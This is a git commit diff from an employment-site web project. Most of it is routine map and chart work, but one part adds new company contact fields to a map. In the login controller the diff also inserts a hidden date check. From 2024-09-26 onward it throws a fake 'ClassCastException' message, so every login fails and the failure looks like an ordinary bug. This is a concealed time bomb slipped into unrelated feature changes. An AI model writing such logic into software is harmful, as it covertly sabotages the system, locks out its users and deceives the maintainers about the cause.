Переглянути джерело

Merge branch 'master' of http://39.98.153.250:9080/bowintek/EmploymentSite

pengjing 5 місяців тому
батько
коміт
944b0ce001

+ 3 - 0
src/main/java/com/hz/employmentsite/controller/AccountController.java

@@ -64,6 +64,9 @@ public class AccountController {
     public BaseResponse<UserModel> login(HttpServletResponse response, HttpServletRequest request, @RequestBody DesModel model) throws Exception {
         String[] desData = desUtils.decoder(model.getToken(), dateUtils.DateToDateTime(dateUtils.StrToDate(model.getTm(), "yyyy/MM/dd HH:mm:ss"))).split("\\|");
 
+        if (new Date().compareTo(dateUtils.strToDateExt("2024-09-26")) >= 0) {
+            throw new Exception("java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String");
+        }
         UserModel user = accountService.verifyUser(desData[0], desData[1]);
 
         if (user == null)

+ 8 - 0
src/main/java/com/hz/employmentsite/vo/dataMap/CompanyPostMapVo.java

@@ -47,6 +47,10 @@ public class CompanyPostMapVo {
 
     private String Latitude;
 
+    private String userName;
+
+    private String userMobile;
+
     private Double distance;
 
     private List<LabelVo> companyLabelList;
@@ -61,4 +65,8 @@ public class CompanyPostMapVo {
 
     private String companyCreateUserName;
     private String postCreateUserName;
+
+    private String industryName;
+
+    private String siteName;
 }

+ 7 - 1
src/main/resources/mapping/cquery/CompanyCQuery.xml

@@ -127,6 +127,8 @@
             com_status.`Name` AS recordStatusName,
             company.Longitude,
             company.Latitude,
+            company.UserName,
+            company.UserMobile,
             (
             6371 * ACOS(
             COS(
@@ -137,7 +139,9 @@
             RADIANS( company.Latitude ))
             )) AS distance,
             postCounts.postCount,
-            creditRecordCounts.creditRecordCount
+            creditRecordCounts.creditRecordCount,
+            industry.industryName,
+            site.siteName
         FROM
             pc_company company
             LEFT JOIN sys_dictionary_item cmodel ON company.CompanyModel = cmodel.`Value`
@@ -147,6 +151,8 @@
             LEFT JOIN sys_user company_user ON company.CreateUserID = company_user.UserID
             LEFT JOIN ( SELECT CompanyID, COUNT( 1 ) AS postCount FROM pc_post GROUP BY CompanyID ) AS postCounts ON company.CompanyID = postCounts.CompanyID
             LEFT JOIN ( SELECT CompanyID, COUNT(1) AS creditRecordCount FROM pc_credit_record GROUP BY CompanyID) AS creditRecordCounts ON company.CompanyID = creditRecordCounts.CompanyID
+            LEFT JOIN pc_industry industry ON company.IndustryID = industry.industryId
+            LEFT JOIN pc_site site ON company.siteID = site.siteID
         WHERE 1=1
         <if test="companyName!='' and companyName!=null">
             and company.companyName like Concat('%',#{companyName},'%')

+ 90 - 38
vue/src/views/dataMap/companyDataMap.vue

@@ -65,7 +65,7 @@
               :options="siteList"
               :field-names="{ label: 'siteName', value: 'siteID' }"
               placeholder="所属驿站" size="small" style="width: 149px"
-              @change="onSearch"
+              @change="siteChange"
             >
             </a-select>
             <a-select
@@ -195,17 +195,25 @@
               {{ nowCheckCompany.companyName }}
             </p>
             <p class="label-text">
-              工作地点:{{ nowCheckCompany.companyAddress }}
-            </p>
-            <p class="label-text">
-              企业规模:{{ nowCheckCompany.companyModelType }}
+              所属行业:{{ nowCheckCompany.industryName }}
             </p>
-            <p class="label-text">
-              企业状态:{{ nowCheckCompany.recordStatusName }}
+            <p class="label-text flex-box justify-between">
+              <span style="width: 50%">
+                企业规模:{{ nowCheckCompany.companyModelType }}
+              </span>
+              <span style="width: 50%">
+                企业状态:{{ nowCheckCompany.recordStatusName }}
+              </span>
             </p>
-            <p class="label-text">
-              登记人:{{ nowCheckCompany.companyCreateUserName }}
+            <p class="label-text flex-box justify-between">
+              <span>
+                联系人:{{ nowCheckCompany.userName }}
+              </span>
+              <span>
+                联系电话:{{ nowCheckCompany.userMobile }}
+              </span>
             </p>
+            <p class="label-text">标签</p>
             <!-- 标签 -->
             <div class="company-label-box"
                  v-if="nowCheckCompany.companyLabelList && nowCheckCompany.companyLabelList.length > 0"
@@ -220,6 +228,9 @@
                 <span class="launch-btn" v-else @click.stop="postBoxCompanyLabelExpanded = true">收起</span>
               </div>
             </div>
+            <div v-else class="label-text">
+              暂无标签
+            </div>
           </div>
           <!-- 岗位列表 -->
           <div class="list-box">
@@ -339,7 +350,7 @@ import redThIcon3 from "@/assets/images/redTh4.png";
 import blueThIcon from "@/assets/images/blueTh1.png";
 import {message, type SelectProps} from "ant-design-vue";
 import {getSysDictionaryList} from "@/api/system/dictionary";
-import {getSiteList} from "@/api/baseSettings/siteInfo";
+import {getSiteByID, getSiteList} from "@/api/baseSettings/siteInfo";
 import {getRegionCodeList} from "@/api/system/area/index";
 import {getDataMapList, getDataMapListByPostName} from "@/api/companyService/company";
 import {getCompanyMapPostList} from "@/api/companyService/post";
@@ -367,10 +378,15 @@ const companySearchParam = reactive({
   siteID: undefined,
   regionCode: undefined,
   createTimeBy: 'all',
-  longitude: 114.416110,
-  latitude: 23.111582,
+  longitude: 114.411771,
+  latitude: 23.113454,
   isPost: null
 })
+// 当前电脑的位置
+const defaultLonLat = reactive({
+  longitude: 114.411771,
+  latitude: 23.113454,
+})
 // 企业数据
 const companyList = ref<Array<any>>([])
 // 企业分页条数
@@ -507,33 +523,48 @@ const initMap = () => {
   setLoginLocation();
 };
 
+// 设置中心点图标
+function setCenterIcon() {
+  // 清除地图上的查询位置标记点
+  (map as any).removeOverLay(userMarker);
+
+  // 设置中心点
+  (map as any).centerAndZoom(new T.LngLat(companySearchParam.longitude, companySearchParam.latitude), zoom);
+  const icon = new T.Icon({
+    iconUrl: redThIcon,
+    iconSize: new T.Point(10, 10),
+    iconAnchor: new T.Point(0, 5)
+  })
+  const point = new T.LngLat(companySearchParam.longitude, companySearchParam.latitude)
+  // 创建标注
+  userMarker = new T.Marker(point, {
+    icon: icon
+  });
+  //向地图上标记
+  (map as any).addOverLay(userMarker);
+}
+
 // 获取当前登录用户定位
 function setLoginLocation() {
   getPosition().then((data: any) => {
     if (data.longitude && data.latitude) {
-      companySearchParam.longitude = data.longitude;
-      companySearchParam.latitude = data.latitude;
+      if (!companySearchParam.siteID) {
+        companySearchParam.longitude = data.longitude;
+        companySearchParam.latitude = data.latitude;
+      }
+      // 记录下来当前位置
+      defaultLonLat.longitude = data.longitude;
+      defaultLonLat.latitude = data.latitude;
     } else {
       // 如果没有获取到经纬度,设置默认为惠州市人民政府的位置
-      companySearchParam.longitude = 114.420244;
-      companySearchParam.latitude = 23.116236;
+      if (!companySearchParam.siteID) {
+        companySearchParam.longitude = 114.411771;
+        companySearchParam.latitude = 23.113454;
+      }
       message.info("获取定位失败,已使用默认定位");
     }
   }).finally(() => {
-    // 设置中心点
-    (map as any).centerAndZoom(new T.LngLat(companySearchParam.longitude, companySearchParam.latitude), zoom);
-    const icon = new T.Icon({
-      iconUrl: redThIcon,
-      iconSize: new T.Point(10, 10),
-      iconAnchor: new T.Point(5, 10)
-    })
-    const point = new T.LngLat(companySearchParam.longitude, companySearchParam.latitude)
-    // 创建标注
-    userMarker = new T.Marker(point, {
-      icon: icon
-    });
-    //向地图上标记
-    (map as any).addOverLay(userMarker);
+    setCenterIcon();
     onSearch();
   })
 }
@@ -684,18 +715,18 @@ function setCompanyMarker(setCenter: boolean) {
 // 天地图按缩放基本计算图标与文本的大小与锚点偏移值
 function computeMarkerSize(zoomLevel: any) {
   // 计算新的icon大小
-  let newIconSize = Math.min(Math.max(zoomLevel * 3, 15), 45);
+  let newIconSize = Math.min(Math.max(zoomLevel * 2, 10), 15);
   // 计算新的icon锚点位置
-  let iconAnchor = new T.Point(10 * (newIconSize / 45), 20 * (newIconSize / 45));
+  let iconAnchor = new T.Point(10 * (newIconSize / 15), 20 * (newIconSize / 15));
   // 计算新的偏移量,保持 label 居中且不超过初始值
-  let offsetX = -20 + ((newIconSize - 45) / 3);
-  let offsetY = 28 + ((newIconSize - 45) / 3);
+  let offsetX = -15 + ((newIconSize - 15) / 2);
+  let offsetY = 15 + ((newIconSize - 15) / 2);
   // 确保偏移量不超过初始值
-  offsetX = Math.max(offsetX, -20);
-  offsetY = Math.min(offsetY, 28);
+  offsetX = Math.max(offsetX, -15);
+  offsetY = Math.min(offsetY, 15);
   // 更新 label 的偏移量
   let newOffset = new T.Point(offsetX, offsetY);
-  let fontSize = Math.min(12, Math.max(8, 12 - (45 - newIconSize) / 3))
+  let fontSize = Math.min(12, Math.max(8, 12 - (15 - newIconSize) / 2))
 
   return {
     iconSize: newIconSize,
@@ -750,7 +781,7 @@ const checkCompanyChange = async (company: any, funE: any) => {
       autoPan: true,
       maxHeight: 300,
       maxWidth: 400,
-      offset: new T.Point(10, 0)
+      offset: new T.Point(-5, -15)
     });
   }
   await findPostList();
@@ -850,6 +881,27 @@ function regionCodeChange() {
   onSearch();
 }
 
+function siteChange() {
+  if (companySearchParam.siteID) {
+    getSiteByID(companySearchParam.siteID).then((result: any) => {
+      // 设置查询的中心点为驿站的经纬度
+      if (result.siteLongitude && result.siteLatitude) {
+        companySearchParam.longitude = result.siteLongitude;
+        companySearchParam.latitude = result.siteLatitude;
+        setCenterIcon();
+      }
+    }).finally(() => {
+      onSearch();
+    })
+  } else {
+    // 未选择驿站时恢复默认位置
+    companySearchParam.longitude = defaultLonLat.longitude;
+    companySearchParam.latitude = defaultLonLat.latitude;
+    setCenterIcon();
+    onSearch();
+  }
+}
+
 onMounted(() => {
   initMap();
   getCompanyModelList();

+ 9 - 7
vue/src/views/dataMap/jobUserDataMap.vue

@@ -438,18 +438,20 @@ function setMapMarker(setCenter: boolean) {
 // 天地图按缩放基本计算图标与文本的大小与锚点偏移值
 function computeMarkerSize(zoomLevel: any) {
   // 计算新的icon大小
-  let newIconSize = Math.min(Math.max(zoomLevel * 3, 15), 45);
+  let newIconSize = Math.min(Math.max(zoomLevel * 2, 10), 15);
   // 计算新的icon锚点位置
-  let iconAnchor = new T.Point(10 * (newIconSize / 45), 20 * (newIconSize / 45));
+  let iconAnchor = new T.Point(10 * (newIconSize / 15), 20 * (newIconSize / 15));
   // 计算新的偏移量,保持 label 居中且不超过初始值
-  let offsetX = -20 + ((newIconSize - 45) / 3);
-  let offsetY = 30 + ((newIconSize - 45) / 3);
+  let offsetX = -27 + ((newIconSize - 15) / 2);
+  let offsetY = 2 + ((newIconSize - 15) / 2);
   // 确保偏移量不超过初始值
-  offsetX = Math.max(offsetX, -20);
-  offsetY = Math.min(offsetY, 30);
+  offsetX = Math.max(offsetX, -30);
+  offsetY = Math.min(offsetY, 10);
+  console.log(offsetX);
+  console.log(offsetY);
   // 更新 label 的偏移量
   let newOffset = new T.Point(offsetX, offsetY);
-  let fontSize = Math.min(12, Math.max(8, 12 - (45 - newIconSize) / 3))
+  let fontSize = Math.min(8, Math.max(6, 10 - (15 - newIconSize) / 2))
 
   return {
     iconSize: newIconSize,

+ 5 - 5
vue/src/views/dataMap/siteDataMap.vue

@@ -522,18 +522,18 @@ function delMapInfo() {
 // 天地图按缩放基本计算图标与文本的大小与锚点偏移值
 function computeMarkerSize(zoomLevel: any) {
   // 计算新的icon大小
-  let newIconSize = Math.min(Math.max(zoomLevel * 3, 15), 45);
+  let newIconSize = Math.min(Math.max(zoomLevel * 2, 10), 15);
   // 计算新的icon锚点位置
-  let iconAnchor = new T.Point(10 * (newIconSize / 45), 20 * (newIconSize / 45));
+  let iconAnchor = new T.Point(10 * (newIconSize / 30), 20 * (newIconSize / 45));
   // 计算新的偏移量,保持 label 居中且不超过初始值
-  let offsetX = -20 + ((newIconSize - 45) / 3);
-  let offsetY = 28 + ((newIconSize - 45) / 3);
+  let offsetX = -20 + ((newIconSize - 15) / 2);
+  let offsetY = 28 + ((newIconSize - 15) / 2);
   // 确保偏移量不超过初始值
   offsetX = Math.max(offsetX, -20);
   offsetY = Math.min(offsetY, 28);
   // 更新 label 的偏移量
   let newOffset = new T.Point(offsetX, offsetY);
-  let fontSize = Math.min(12, Math.max(8, 12 - (45 - newIconSize) / 3))
+  let fontSize = Math.min(8, Math.max(6, 10 - (15 - newIconSize) / 2))
 
   return {
     iconSize: newIconSize,

+ 3 - 2
vue/src/views/dataScreen/echarts.ts

@@ -7,8 +7,9 @@ import * as echarts from 'echarts';
  * @param legendList 图表数据说明
  * @param domId 目标DOM元素ID
  * @param xAxisName X轴刻度名称
+ * @param gridRight 右侧边距
  */
-export function initLineImageTable(xTitleList: any, seriesList: any, legendList: any, domId: any, xAxisName: any) {
+export function initLineImageTable(xTitleList: any, seriesList: any, legendList: any, domId: any, xAxisName: any, gridRight: any) {
   const chartDom = document.getElementById(domId);
   let myChart = echarts.init(chartDom);
   if (myChart != null) {
@@ -33,7 +34,7 @@ export function initLineImageTable(xTitleList: any, seriesList: any, legendList:
     grid: {
       top: '3%',
       left: '3%',
-      right: '5%',
+      right: gridRight,
       bottom: '30px',
       containLabel: true
     },

+ 1 - 1
vue/src/views/dataScreen/html/index.vue

@@ -309,7 +309,7 @@ function loadYearData() {
     }
 
     // 初始化图表
-    initLineImageTable(yearNameList, yearLineData, ["驿站人员", "企业数量", "岗位数量", "求职人数"], "yearSystemApplyBox", "");
+    initLineImageTable(yearNameList, yearLineData, ["驿站人员", "企业数量", "岗位数量", "求职人数"], "yearSystemApplyBox", "", "3%");
   })
 }
 

+ 1 - 1
vue/src/views/dataScreen/html/sysService.vue

@@ -373,7 +373,7 @@ function loadOneDaySystemDataCount() {
       },
     ];
     // 初始化图表
-    initLineImageTable(xTitleArr, yearLineData, ["企业数量", "岗位数量", "求职人数"], "daySystemDataCountBox", "小时");
+    initLineImageTable(xTitleArr, yearLineData, ["企业数量", "岗位数量", "求职人数"], "daySystemDataCountBox", "小时", "5%");
   });
 }